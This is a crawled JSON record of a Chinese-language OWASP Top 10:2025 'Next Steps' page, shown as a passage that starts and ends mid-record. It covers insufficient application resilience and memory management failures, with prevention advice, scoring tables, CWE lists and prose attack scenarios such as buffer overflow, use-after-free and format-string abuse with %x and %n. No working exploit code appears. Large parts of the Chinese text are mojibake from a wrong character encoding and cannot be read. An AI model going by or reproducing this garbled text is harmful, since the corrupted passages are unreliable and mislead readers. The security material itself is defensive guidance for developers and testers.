Handling](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [Best practices for exceptions (Microsoft, .Net)](https://learn.microsoft.com/en-us/dotnet/standard/exceptions/best-practices-for-exceptions)\n- [Clean Code and the Art of Exception Handling (Toptal)](https://www.toptal.com/developers/abap/clean-code-and-the-art-of-exception-handling)\n- [General error handling rules (Google for Developers)](https://developers.google.com/tech-writing/error-messages/error-handling)\n- [Example of real-world mishandling of an exceptional condition](https://www.firstreference.com/blog/human-error-and-internal-control-failures-cause-us62m-fine/)\n\n## ć˜ ĺ°„çš„ CWE 列表\n\n- [CWE-209 生成包含敏感信息的错误消息](https://cwe.mitre.org/data/definitions/209.html)\n- [CWE-215 ĺ°†ć•ć„ŸäżĄćŻć’ĺ…Ľč°ƒčŻ•äťŁç ](https://cwe.mitre.org/data/definitions/215.html)\n- [CWE-234 未处理缺失参数](https://cwe.mitre.org/data/definitions/234.html)\n- [CWE-235 额外参数处理不当](https://cwe.mitre.org/data/definitions/235.html)\n- [CWE-248 未捕获异常](https://cwe.mitre.org/data/definitions/248.html)\n- [CWE-252 未检查返回值](https://cwe.mitre.org/data/definitions/252.html)\n- [CWE-274 权限不足处理不当](https://cwe.mitre.org/data/definitions/274.html)\n- [CWE-280 权限或特权不足处理不当](https://cwe.mitre.org/data/definitions/280.html)\n- [CWE-369 除零](https://cwe.mitre.org/data/definitions/369.html)\n- [CWE-390 检测到错误条件但未采取行动](https://cwe.mitre.org/data/definitions/390.html)\n- [CWE-391 未检查错误条件](https://cwe.mitre.org/data/definitions/391.html)\n- [CWE-394 ć„ĺ¤–çŠść€ç ćˆ–čż”ĺ›žĺ€ź](https://cwe.mitre.org/data/definitions/394.html)\n- [CWE-396 捕获通用异常的声明](https://cwe.mitre.org/data/definitions/396.html)\n- [CWE-397 抛出通用异常的声明](https://cwe.mitre.org/data/definitions/397.html)\n- [CWE-460 抛出异常后的清理不当](https://cwe.mitre.org/data/definitions/460.html)\n- [CWE-476 空指针解引用](https://cwe.mitre.org/data/definitions/476.html)\n- [CWE-478 多条件表达式缺少默认分支](https://cwe.mitre.org/data/definitions/478.html)\n- [CWE-484 `switch` 中遗漏 `break` 语句](https://cwe.mitre.org/data/definitions/484.html)\n- [CWE-550 服务端生成包含敏感信息的错误消息](https://cwe.mitre.org/data/definitions/550.html)\n- [CWE-636 未能安全失效(失效开放)](https://cwe.mitre.org/data/definitions/636.html)\n- [CWE-703 异常条件检查或处理不当](https://cwe.mitre.org/data/definitions/703.html)\n- [CWE-754 异常或异常条件检查不当](https://cwe.mitre.org/data/definitions/754.html)\n- [CWE-755 异常条件处理不当](https://cwe.mitre.org/data/definitions/755.html)\n- [CWE-756 缺少自定义错误页面](https://cwe.mitre.org/data/definitions/756.html)", "znaku_textu": 8922, "slov": 351, "odkazu": 67, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:28", "sha256": "0af977d31660b5855b5665cf7a9eda1da5d89a64c7213aa0080c9279cca78fb9", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md", "https://learn.microsoft.com/en-us/dotnet/standard/exceptions/best-practices-for-exceptions", "https://www.toptal.com/developers/abap/clean-code-and-the-art-of-exception-handling", "https://developers.google.com/tech-writing/error-messages/error-handling", "https://www.firstreference.com/blog/human-error-and-internal-control-failures-cause-us62m-fine/", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/215.html", "https://cwe.mitre.org/data/definitions/234.html", "https://cwe.mitre.org/data/definitions/235.html", "https://cwe.mitre.org/data/definitions/248.html", "https://cwe.mitre.org/data/definitions/252.html", "https://cwe.mitre.org/data/definitions/274.html", "https://cwe.mitre.org/data/definitions/280.html", "https://cwe.mitre.org/data/definitions/369.html", "https://cwe.mitre.org/data/definitions/390.html", "https://cwe.mitre.org/data/definitions/391.html", "https://cwe.mitre.org/data/definitions/394.html", "https://cwe.mitre.org/data/definitions/396.html", "https://cwe.mitre.org/data/definitions/397.html", "https://cwe.mitre.org/data/definitions/460.html", "https://cwe.mitre.org/data/definitions/476.html", "https://cwe.mitre.org/data/definitions/478.html", "https://cwe.mitre.org/data/definitions/484.html", "https://cwe.mitre.org/data/definitions/550.html", "https://cwe.mitre.org/data/definitions/636.html", "https://cwe.mitre.org/data/definitions/703.html", "https://cwe.mitre.org/data/definitions/754.html", "https://cwe.mitre.org/data/definitions/755.html", "https://cwe.mitre.org/data/definitions/756.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/zh-Hant/X01_2025-Next_Steps/", "titulek": "下一步 - OWASP Top 10:2025", "h1": "下一步", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/zh-Hant/X01_2025-Next_Steps/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "下一步"}, {"uroven": 2, "text": "X01:2025 应用韧性不足"}, {"uroven": 3, "text": "背景"}, {"uroven": 3, "text": "评分表"}, {"uroven": 3, "text": "描述"}, {"uroven": 3, "text": "如何预防"}, {"uroven": 3, "text": "攻击场景示例"}, {"uroven": 3, "text": "参考资料"}, {"uroven": 3, "text": "ć˜ ĺ°„çš„ CWE 列表"}, {"uroven": 2, "text": "X02:2025 内存管理失效"}, {"uroven": 3, "text": "背景"}, {"uroven": 3, "text": "评分表"}, {"uroven": 3, "text": "描述"}, {"uroven": 3, "text": "如何预防"}, {"uroven": 3, "text": "攻击场景示例"}, {"uroven": 3, "text": "参考资料"}, {"uroven": 3, "text": "ć˜ ĺ°„çš„ CWE 列表"}, {"uroven": 2, "text": "X03:2025 不当信任 AI ç”ŸćˆäťŁç ďźˆâ€œć°›ĺ›´çź–ç¨‹â€ďź‰"}, {"uroven": 3, "text": "背景"}, {"uroven": 3, "text": "描述"}, {"uroven": 3, "text": "如何预防"}, {"uroven": 3, "text": "参考资料"}, {"uroven": 3, "text": "ć˜ ĺ°„çš„ CWE 列表"}], "markdown": "# 下一步\n\n按照设计,OWASP Top 10 天然只覆盖十个最重要的风险。每一版 OWASP Top 10 都会认真考虑一些“临门一脚”的风险是否纳入,但最终它们没有入选。其他风险更普遍、影响也更大。\n\n以下三个问题非常值得识别和修复,尤其适合正在建设成熟 AppSec 计划的组织、安全咨询公司,或希望扩展产品覆盖范围的工具厂商。\n\n## X01:2025 应用韧性不足\n\n### 背景\n\n这是对 2021 ĺš´â€œć‹’çťćœĺŠĄâ€çš„é‡ĺ‘˝ĺă€‚äš‹ć‰€äťĽć”šĺďźŒć˜Żĺ› ä¸şĺŽŸĺç§°ćčż°çš„ć˜Żç—‡çŠśďźŒč€Œä¸ć˜Żć šĺ› ă€‚čŻĽçąťĺˆŤĺ…łćł¨ćčż°éŸ§ć€§ç›¸ĺ…łĺźąç‚šçš„ CWE。该类别得分与 A10:2025-异常条件处理不当非常接近。相关 CWE 包括:*CWE-400:资源消耗不受控制*、*CWE-409:高压缩数据处理不当(数据放大)*、*CWE-674:递归不受控制* 和 *CWE-835ďźšĺžŞçŽŻé€€ĺ‡şćĄäťśä¸ĺŻčžžďźˆć— é™ĺžŞçŽŻďź‰*。\n\n### 评分表\n\n| ć˜ ĺ°„çš„ CWE 数量 | 最大发生率 | 平均发生率 | 最大覆盖率 | 平均覆盖率 | ĺšłĺ‡ĺŠ ćƒĺŻĺˆŠç”¨ć€§ | ĺšłĺ‡ĺŠ ćƒĺ˝ąĺ“ | 发生总数 | CVE 总数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 16 | 20.05% | 4.55% | 86.01% | 41.47% | 7.92 | 3.49 | 865,066 | 4,423 |\n\n### 描述\n\nčŻĽçąťĺˆŤćŒ‡ĺş”ç”¨ĺœ¨é˘ĺŻšĺŽ‹ĺŠ›ă€ć•…éšœĺ’Œčžšç•Œćƒ…ĺ†ľć—śĺ­˜ĺœ¨çš„çłťçťŸć€§ĺźąç‚šďźŒĺŻźč‡´ĺş”ç”¨ć— ćł•äťŽć•…éšœä¸­ć˘ĺ¤ă€‚ĺ˝“ĺş”ç”¨ä¸čƒ˝äź˜é›…ĺœ°ĺ¤„ç†ă€ć‰żĺ—ćˆ–äťŽć„ĺ¤–ćĄäťśă€čľ„ćşé™ĺˆśĺ’Œĺ…śäť–ä¸ĺˆŠäş‹äťśä¸­ć˘ĺ¤ć—śďźŒćœ€ĺ¸¸č§çť“ćžœć˜ŻĺŻç”¨ć€§é—Žé˘˜ďźŒäšŸĺŻčƒ˝ĺŻźč‡´ć•°ćŽćŸĺă€ć•ć„Ÿć•°ćŽćŠŤéœ˛ă€çş§č”ć•…éšœĺ’Œ/或安全控制绕过。\n\n此外,X02:2025 内存管理失效也可能导致应用甚至整个系统失败。\n\n### 如何预防\n\n要预防这类漏洞,必须为系统的失败和恢复进行设计。\n\n- ĺ˘žĺŠ é™ĺˆśă€é…é˘ĺ’Œć•…éšœč˝Źç§ťĺŠŸčƒ˝ďźŒç‰šĺˆŤĺ…łćł¨ćœ€ćśˆč€—čľ„ćşçš„ć“ä˝œă€‚\n- 识别资源密集型页面并提前规划:减少攻击面,尤其不要把不需要的小工具和需要大量资源(例如 CPU、内存)的功能暴露给未知或不可信用户。\n- ä˝żç”¨ĺ…čŽ¸ĺˆ—čĄ¨ĺ’Œĺ¤§ĺ°é™ĺˆść‰§čĄŒä¸Ľć źčž“ĺ…ĽéŞŒčŻďźŒĺšśčż›čĄŒĺ……ĺˆ†ćľ‹čŻ•ă€‚\n- 限制响应大小,永远不要把原始响应直接发回客户端(应在服务端处理)。\n- 默认安全/关闭(绝不开放),默认拒绝,并在出现错误时回滚。\n- 避免在请求线程中使用阻塞同步调用(使用异步/非阻塞、设置超时、设置并发限制等)。\n- 仔细测试错误处理功能。\n- 实施韧性模式,例如断路器、舱壁、重试逻辑和优雅降级。\n- ć‰§čĄŒć€§čƒ˝ĺ’Œč´Ÿč˝˝ćľ‹čŻ•ďź›ĺŚ‚ćžœéŁŽé™Šć‰żĺ—čƒ˝ĺŠ›ĺ…čŽ¸ďźŒĺŻĺŠ ĺ…Ľćˇˇć˛ŒĺˇĽç¨‹ă€‚\n- 在合理且可负担的范围内,为冗余进行实现和架构设计。\n- 实施监控、可观测性和告警。\n- 按 RFC 2267 čż‡ćť¤ć— ć•ˆĺ‘é€ć–šĺœ°ĺ€ă€‚\n- 通过指纹、IP 或基于行为的动态方式阻断已知僵尸网络。\n- 工作量证明:在 *攻击č€* 一侧发起资源消耗型操作,使其对普通用户影响不大,但会影响试图发送大量请求的机器人。如果系统总体负载上升,尤其是对不太可信或看起来像机器人的系统,应提高工作量证明难度。\n- 基于不活动时间和最终超时限制服务端会话时间。\n- 限制绑定到会话的信息存储。\n\n### 攻击场景示例\n\n**场景 #1:** ć”ťĺ‡ťč€…ć•…ć„ćśˆč€—ĺş”ç”¨čľ„ćşäťĽč§Śĺ‘çłťçťŸĺ¤ąč´ĽďźŒé€ ćˆć‹’çťćœĺŠĄă€‚čż™ĺŻčƒ˝ć˜Żĺ†…ĺ­˜č€—ĺ°˝ă€ĺĄŤćťĄçŁç›˜çŠşé—´ă€CPU éĽąĺ’ŒďźŒćˆ–ć‰“ĺź€ć— ĺ°˝čżžćŽĽă€‚\n\n**场景 #2:** čž“ĺ…Ľć¨ĄçłŠćľ‹čŻ•ĺŻźč‡´ćž„é€ ĺ‡şçš„ĺ“ĺş”ç ´ĺĺş”ç”¨ä¸šĺŠĄé€ťčž‘ă€‚\n\n**场景 #3:** 攻击者针对应用依赖下手,使 API ćˆ–ĺ…śäť–ĺ¤–éƒ¨ćœĺŠĄä¸ĺŻç”¨ďźŒč€Œĺş”ç”¨ć— ćł•çť§çť­čżčĄŒă€‚\n\n### 参考资料\n\n- [OWASP Cheat Sheet: Denial of Service](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)\n- [OWASP MASVS-RESILIENCE](https://mas.owasp.org/MASVS/11-MASVS-RESILIENCE/)\n- [ASP.NET Core Best Practices (Microsoft)](https://learn.microsoft.com/en-us/aspnet/core/fundamentals/best-practices?view=aspnetcore-9.0)\n- [Resilience in Microservices: Bulkhead vs Circuit Breaker (Parser)](https://medium.com/@parserdigital/resilience-in-microservices-bulkhead-vs-circuit-breaker-54364c1f9d53)\n- [Bulkhead Pattern (Geeks for Geeks)](https://www.geeksforgeeks.org/system-design/bulkhead-pattern/)\n- [NIST Cybersecurity Framework (CSF)](https://www.nist.gov/cyberframework)\n- [Avoid Blocking Calls: Go Async in Java (Devlane)](https://www.devlane.com/blog/avoid-blocking-calls-go-async-in-java)\n\n### ć˜ ĺ°„çš„ CWE 列表\n\n- [CWE-73 文件名或路径受外部控制](https://cwe.mitre.org/data/definitions/73.html)\n- [CWE-183 允许输入列表过于宽松](https://cwe.mitre.org/data/definitions/183.html)\n- [CWE-256 ć˜Žć–‡ĺ­˜ĺ‚¨ĺŻ†ç ](https://cwe.mitre.org/data/definitions/256.html)\n- [CWE-266 权限分配错误](https://cwe.mitre.org/data/definitions/266.html)\n- [CWE-269 权限管理不当](https://cwe.mitre.org/data/definitions/269.html)\n- [CWE-286 用户管理错误](https://cwe.mitre.org/data/definitions/286.html)\n- [CWE-311 çźşĺ°‘ć•ć„Ÿć•°ćŽĺŠ ĺŻ†](https://cwe.mitre.org/data/definitions/311.html)\n- [CWE-312 明文存储敏感信息](https://cwe.mitre.org/data/definitions/312.html)\n- [CWE-313 在文件或磁盘上明文存储](https://cwe.mitre.org/data/definitions/313.html)\n- [CWE-316 在内存中明文存储敏感信息](https://cwe.mitre.org/data/definitions/316.html)\n- [CWE-362 使用共享资源并发执行时同步不当(竞争条件)](https://cwe.mitre.org/data/definitions/362.html)\n- [CWE-382 J2EE 不良实践:使用 `System.exit()`](https://cwe.mitre.org/data/definitions/382.html)\n- [CWE-419 主通道未受保护](https://cwe.mitre.org/data/definitions/419.html)\n- [CWE-434 ĺąé™Šçąťĺž‹ć–‡äťśä¸Šäź ä¸ĺ—é™ĺˆś](https://cwe.mitre.org/data/definitions/434.html)\n- [CWE-436 解释冲突](https://cwe.mitre.org/data/definitions/436.html)\n- [CWE-444 HTTP 请求解释不一致(HTTP 请求/响应走私)](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-451 用户界面对关键信息表述失真](https://cwe.mitre.org/data/definitions/451.html)\n- [CWE-454 可信变量或数据存储受外部初始化](https://cwe.mitre.org/data/definitions/454.html)\n- [CWE-472 假定不可变的网站参数受外部控制](https://cwe.mitre.org/data/definitions/472.html)\n- [CWE-501 信任边界违背](https://cwe.mitre.org/data/definitions/501.html)\n- [CWE-522 凭据保护不足](https://cwe.mitre.org/data/definitions/522.html)\n- [CWE-525 使用含敏感信息的浏览器缓存](https://cwe.mitre.org/data/definitions/525.html)\n- [CWE-539 使用包含敏感信息的持久 Cookie](https://cwe.mitre.org/data/definitions/539.html)\n- [CWE-598 使用带敏感查询字符串的 `GET` 请求方法](https://cwe.mitre.org/data/definitions/598.html)\n- [CWE-602 在客户端强制执行服务端安全](https://cwe.mitre.org/data/definitions/602.html)\n- [CWE-628 函数调用参数指定错误](https://cwe.mitre.org/data/definitions/628.html)\n- [CWE-642 关键状态数据受外部控制](https://cwe.mitre.org/data/definitions/642.html)\n- [CWE-646 依赖外部提供文件的文件名或扩展名](https://cwe.mitre.org/data/definitions/646.html)\n- [CWE-653 隔离或分隔不当](https://cwe.mitre.org/data/definitions/653.html)\n- [CWE-656 依赖隐藏实现安全](https://cwe.mitre.org/data/definitions/656.html)\n- [CWE-657 违反安全设计原则](https://cwe.mitre.org/data/definitions/657.html)\n- [CWE-676 使用潜在危险函数](https://cwe.mitre.org/data/definitions/676.html)\n- [CWE-693 保护机制失效](https://cwe.mitre.org/data/definitions/693.html)\n- [CWE-799 交互频率控制不当](https://cwe.mitre.org/data/definitions/799.html)\n- [CWE-807 安全决策依赖不可信输入](https://cwe.mitre.org/data/definitions/807.html)\n- [CWE-841 行为工作流强制执行不当](https://cwe.mitre.org/data/definitions/841.html)\n- [CWE-1021 渲染用户界面层或框架限制不当](https://cwe.mitre.org/data/definitions/1021.html)\n- [CWE-1022 使用带 `window.opener` čŽżé—Žćƒé™ă€ćŒ‡ĺ‘ä¸ĺŻäżĄç›Žć ‡çš„ç˝‘çŤ™é“žćŽĽ](https://cwe.mitre.org/data/definitions/1022.html)\n- [CWE-1125 攻击面过大](https://cwe.mitre.org/data/definitions/1125.html)\n\n## X02:2025 内存管理失效\n\n### 背景\n\nJava、C#、JavaScript/TypeScriptnode.js)、Go 和“安全”Rust 等语言是内存安全的。内存管理问题往往发生在 C 和 C++ 等非内存安全语言中。尽管该类别相关 CVE ć•°é‡ćŽ’ĺçŹŹä¸‰ďźŒä˝†ĺœ¨ç¤žĺŒşé—Žĺˇĺ’Œć•°ćŽä¸­çš„ĺž—ĺˆ†éƒ˝čžƒä˝Žă€‚ćˆ‘äťŹčŽ¤ä¸şčż™ć˜Żĺ› ä¸ş Web ĺş”ç”¨ç›¸ĺŻšäşŽäź çťŸćĄŒé˘ĺş”ç”¨ĺ ä¸ťĺŻźĺœ°ä˝ă€‚ĺ†…ĺ­˜çŽĄç†ćźć´žçťĺ¸¸ć‹Ľćœ‰ćœ€éŤ˜çš„ CVSS 分数。\n\n### 评分表\n\n| ć˜ ĺ°„çš„ CWE 数量 | 最大发生率 | 平均发生率 | 最大覆盖率 | 平均覆盖率 | ĺšłĺ‡ĺŠ ćƒĺŻĺˆŠç”¨ć€§ | ĺšłĺ‡ĺŠ ćƒĺ˝ąĺ“ | 发生总数 | CVE 总数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 24 | 2.96% | 1.13% | 55.62% | 28.45% | 6.75 | 4.82 | 220,414 | 30,978 |\n\n### 描述\n\n当应用必须自行管理内存时,很容易出错。内存安全语言的使用越来越多,但全球生产环境中仍有许多遗留系统,新的底层系统也可能需要使用非内存安全语言,还有一些 Web 应用会与大型机、IoT 设备、固件和其他可能必须自行管理内存的系统交互。代表性 CWE 包括 *CWE-120:复制缓冲区时未检查输入大小(经典缓冲区溢出)* 和 *CWE-121ďźšĺŸşäşŽć ˆçš„çź“ĺ†˛ĺŒşćş˘ĺ‡ş*。\n\n内存管理失效可能发生在以下情况:\n\n- 没有为变量分配足够内存。\n- ć˛Ąćœ‰éŞŒčŻčž“ĺ…ĽďźŒĺŻźč‡´ĺ †ă€ć ˆćˆ–çź“ĺ†˛ĺŒşćş˘ĺ‡şă€‚\n- 存储的数据值大于变量类型可容纳范围。\n- 试图使用未分配的内存或地址空间。\n- 产生差一错误(从 1 开始计数而不是从 0 开始)。\n- 试图访问已经释放的对象。\n- 使用未初始化变量。\n- 内存泄漏,或在错误中耗尽所有可用内存,直到应用失败。\n\n内存管理失效可能导致应用失败甚至整个系统失败,另见 X01:2025 应用韧性不足。\n\n### 如何预防\n\n预防内存管理失效的最佳方式是使用内存安全语言,例如 Rust、Java、Go、C#、Python、Swift、Kotlin、JavaScript ç­‰ă€‚ĺˆ›ĺťşć–°ĺş”ç”¨ć—śďźŒĺş”čŽ¤çœŸčŻ´ćœçť„çť‡ĺˆ‡ć˘ĺˆ°ĺ†…ĺ­˜ĺŽ‰ĺ…¨čŻ­č¨€ďźŒčż™ĺ€źĺž—ĺ­Śäš ć›˛çşżă€‚ĺŚ‚ćžœčż›čĄŒĺŽŒć•´é‡ćž„ďźŒĺœ¨ĺŻčƒ˝ä¸”ĺŻčĄŒć—śďźŒĺş”ćŽ¨ĺŠ¨ç”¨ĺ†…ĺ­˜ĺŽ‰ĺ…¨čŻ­č¨€é‡ĺ†™ă€‚\n\nĺŚ‚ćžœć— ćł•ä˝żç”¨ĺ†…ĺ­˜ĺŽ‰ĺ…¨čŻ­č¨€ďźŒčŻˇć‰§čĄŒäťĽä¸‹ćŽŞć–˝ďźš\n\n- 启用以下服务器功能,使内存管理错误更难被利用:地址空间布局随机化(ASLR)、数据执行保护(DEP)和结构化异常处理覆盖保护(SEHOP)。\n- 监控应用是否存在内存泄漏。\n- 非常谨慎地验证进入系统的所有输入,并拒绝所有不符合预期的输入。\n- ç ”çŠść‰€ç”¨čŻ­č¨€ďźŒĺˆ—ĺ‡şä¸ĺŽ‰ĺ…¨ĺ’ŒčžƒĺŽ‰ĺ…¨ĺ‡˝ć•°ďźŒĺšśä¸Žć•´ä¸Şĺ›˘é˜Ÿĺ…ąäşŤă€‚ĺŚ‚ćžœĺŻčƒ˝ďźŒĺ°†čŻĽĺˆ—čĄ¨ĺŠ ĺ…ĽĺŽ‰ĺ…¨çź–ç ćŒ‡ĺ—ćˆ–ć ‡ĺ‡†ă€‚äž‹ĺŚ‚ĺœ¨ C 中,优先使用 strncpy() 而不是 strcpy(),使用 strncat() 而不是 strcat()。\n- 如果语言或框架提供内存安全库,请使用它们。例如 Safestringlib 或 SafeStr。\n- 尽可能使用托管缓冲区和字符串,而不是原始数组和指针。\n- 接受专注于内存问题和/ćˆ–ć‰€é€‰čŻ­č¨€çš„ĺŽ‰ĺ…¨çź–ç ĺŸščŽ­ă€‚ĺ‘ŠçŸĽĺŸščŽ­ĺ¸ˆä˝ ĺ…łćł¨ĺ†…ĺ­˜çŽĄç†ĺ¤ąć•ˆă€‚\n- ć‰§čĄŒäťŁç ĺŽĄćŸĽĺ’Œ/或静态分析。\n- 使用有助于内存管理的编译器工具,例如 StackShield、StackGuard 和 Libsafe。\n- 对系统每个输入执行模糊测试。\n- ĺŚ‚ćžœčż›čĄŒć¸—é€ćľ‹čŻ•ďźŒĺ‘ŠçŸĽćľ‹čŻ•äşşĺ‘˜ä˝ ĺ…łćł¨ĺ†…ĺ­˜çŽĄç†ĺ¤ąć•ˆďźŒĺšśĺ¸Œćœ›äť–äťŹĺœ¨ćľ‹čŻ•ć—śç‰šĺˆŤĺ…łćł¨čż™ä¸€ç‚šă€‚\n- 修复所有编译器错误 *和* č­Śĺ‘Šă€‚ä¸čŚĺ› ä¸şç¨‹ĺşčƒ˝çź–čŻ‘ĺ°ąĺż˝ç•Ľč­Śĺ‘Šă€‚\n- çĄŽäżĺş•ĺą‚ĺŸşçĄ€čŽžć–˝ĺŽšćœŸć‰“čĄĽä¸ă€ć‰Ťćĺ’ŒĺŠ ĺ›şă€‚\n- 专门监控底层基础设施中潜在的内存漏洞和其他失效。\n- 考虑使用 [canaries](https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries) äżćŠ¤ĺœ°ĺ€ć ˆĺ…ĺ—ćş˘ĺ‡şć”ťĺ‡ťă€‚\n\n### 攻击场景示例\n\n**场景 #1:** çź“ĺ†˛ĺŒşćş˘ĺ‡şć˜Żćœ€č‘—ĺçš„ĺ†…ĺ­˜ćźć´žă€‚ć”ťĺ‡ťč€…ĺ‘ćŸä¸Şĺ­—ćŽľćäş¤čś…čż‡ĺ…śĺŻćŽĽĺ—é•żĺşŚçš„äżĄćŻďźŒä˝żĺ…śćş˘ĺ‡şä¸şĺş•ĺą‚ĺ˜é‡ĺˆ›ĺťşçš„çź“ĺ†˛ĺŒşă€‚ć”ťĺ‡ťćˆĺŠŸć—śďźŒćş˘ĺ‡şçš„ĺ­—çŹŚäźščŚ†ç›–ć ˆćŒ‡é’ˆďźŒä˝żć”ťĺ‡ťč€…čƒ˝ĺ¤ŸćŠŠćść„ćŒ‡äť¤ć’ĺ…Ľç¨‹ĺşă€‚\n\n**场景 #2:** 释放后使用(UAF)足够常见,已经是浏览器漏洞赏金中的半常见提交。设想一个 Web 浏览器处理操纵 DOM ĺ…ƒç´ çš„ JavaScriptă€‚ć”ťĺ‡ťč€…ćž„é€ JavaScript 载荷,创建一个对象(例如 DOM ĺ…ƒç´ ďź‰ĺšśčŽˇĺ–ĺ…śĺź•ç”¨ă€‚é€ščż‡ç˛žĺżƒć“çşľďźŒäť–äťŹč§Śĺ‘ćľč§ˆĺ™¨é‡Šć”žčŻĽĺŻščąĄĺ†…ĺ­˜ďźŒĺŒć—śäżç•™ćŒ‡ĺ‘ĺŽƒçš„ć‚ŹçŠşćŒ‡é’ˆă€‚ĺœ¨ćľč§ˆĺ™¨ć„čŻ†ĺˆ°ĺ†…ĺ­˜ĺˇ˛é‡Šć”žäš‹ĺ‰ďźŒć”ťĺ‡ťč€…ĺˆ†é…ä¸€ä¸Şĺ ç”¨*同一*ĺ†…ĺ­˜çŠşé—´çš„ć–°ĺŻščąĄă€‚ĺ˝“ćľč§ˆĺ™¨ĺ°čŻ•ä˝żç”¨ĺŽŸĺ§‹ćŒ‡é’ˆć—śďźŒĺŽƒçŽ°ĺœ¨ćŒ‡ĺ‘ć”ťĺ‡ťč€…ćŽ§ĺˆśçš„ć•°ćŽă€‚ĺŚ‚ćžœčŻĽćŒ‡é’ˆćŒ‡ĺ‘č™šĺ‡˝ć•°čĄ¨ďźŒć”ťĺ‡ťč€…ĺ°ąĺŻäťĽćŠŠäťŁç ć‰§čĄŒé‡ĺŽšĺ‘ĺˆ°č‡Şĺˇąçš„č˝˝čˇă€‚\n\n**场景 #3:** ćŸç˝‘çťœćœĺŠĄćŽĽĺ—ç”¨ćˆˇčž“ĺ…ĽďźŒä˝†ć˛Ąćœ‰ć­ŁçĄŽéŞŒčŻćˆ–ć¸…ç†ďźŒç„śĺŽç›´ćŽĽäź çť™ć—Ľĺż—ĺ‡˝ć•°ă€‚ç”¨ćˆˇčž“ĺ…ĽäťĽ syslog(user_input) 而不是 syslog(\"%s\", user_input) çš„ć–šĺźäź çť™ć—Ľĺż—ĺ‡˝ć•°ďźŒĺŽč€…ć˛Ąćœ‰ćŒ‡ĺŽšć źĺźă€‚ć”ťĺ‡ťč€…ĺ‘é€ĺŒ…ĺŤć źĺźčŻ´ć˜ŽçŹŚçš„ćść„č˝˝čˇďźŒäž‹ĺŚ‚ä˝żç”¨ %x čŻťĺ–ć ˆĺ†…ĺ­˜ďźˆć•ć„Ÿć•°ćŽćł„éœ˛ďź‰ďźŒćˆ–ä˝żç”¨ %n ĺ†™ĺ…Ľĺ†…ĺ­˜ĺœ°ĺ€ă€‚é€ščż‡ä¸˛č”ĺ¤šä¸Şć źĺźčŻ´ć˜ŽçŹŚďźŒäť–äťŹĺŻäťĽçť˜ĺˆść ˆĺ¸ƒĺą€ă€ĺŽšä˝é‡čŚĺœ°ĺ€ďźŒç„śĺŽčŚ†ç›–ĺŽƒäťŹă€‚čż™ĺ°ąć˜Żć źĺźĺ­—çŹŚä¸˛ćźć´žďźˆä¸ĺ—ćŽ§ĺ­—çŹŚä¸˛ć źĺźďź‰ă€‚\n\n注意:现代浏览器使用多层防御来抵御此类攻击,包括[浏览器沙箱](https://www.geeksforgeeks.org/ethical-hacking/what-is-browser-sandboxing/#types-of-browser-sandboxing)、ASLR、DEP/NX、RELRO 和 PIE。针对浏览器的内存管理失效攻击并不容易实施。\n\n### 参考资料\n\n- [OWASP community pages: Memory leak,](https://owasp.org/www-community/vulnerabilities/Memory_leak) [Doubly freeing memory,](https://owasp.org/www-community/vulnerabilities/Doubly_freeing_memory) [& Buffer Overflow](https://owasp.org/www-community/vulnerabilities/Buffer_Overflow)\n- [Awesome Fuzzing: a list of fuzzing resources](https://github.com/secfigo/Awesome-Fuzzing)\n- [Project Zero Blog](https://googleprojectzero.blogspot.com)\n- [Microsoft MSRC Blog](https://www.microsoft.com/en-us/msrc/blog)\n\n### ć˜ ĺ°„çš„ CWE 列表\n\n- [CWE-14 çź–čŻ‘ĺ™¨ç§ťé™¤ć¸…é™¤çź“ĺ†˛ĺŒşçš„äťŁç ](https://cwe.mitre.org/data/definitions/14.html)\n- [CWE-119 内存缓冲区边界内操作限制不当](https://cwe.mitre.org/data/definitions/119.html)\n- [CWE-120 复制缓冲区时未检查输入大小(经典缓冲区溢出)](https://cwe.mitre.org/data/definitions/120.html)\n- [CWE-121 ĺŸşäşŽć ˆçš„çź“ĺ†˛ĺŒşćş˘ĺ‡ş](https://cwe.mitre.org/data/definitions/121.html)\n- [CWE-122 ĺŸşäşŽĺ †çš„çź“ĺ†˛ĺŒşćş˘ĺ‡ş](https://cwe.mitre.org/data/definitions/122.html)\n- [CWE-124 缓冲区下写(缓冲区下溢)](https://cwe.mitre.org/data/definitions/124.html)\n- [CWE-125 越界读取](https://cwe.mitre.org/data/definitions/125.html)\n- [CWE-126 缓冲区过读](https://cwe.mitre.org/data/definitions/126.html)\n- [CWE-190 整数溢出或回绕](https://cwe.mitre.org/data/definitions/190.html)\n- [CWE-191 整数下溢(回绕)](https://cwe.mitre.org/data/definitions/191.html)\n- [CWE-196 ć— çŹŚĺˇĺˆ°ćœ‰çŹŚĺˇč˝Źć˘é”™čŻŻ](https://cwe.mitre.org/data/definitions/196.html)\n- [CWE-367 检查时与使用时(TOCTOU)竞争条件](https://cwe.mitre.org/data/definitions/367.html)\n- [CWE-415 重复释放](https://cwe.mitre.org/data/definitions/415.html)\n- [CWE-416 释放后使用](https://cwe.mitre.org/data/definitions/416.html)\n- [CWE-457 使用未初始化变量](https://cwe.mitre.org/data/definitions/457.html)\n- [CWE-459 清理不完整](https://cwe.mitre.org/data/definitions/459.html)\n- [CWE-467 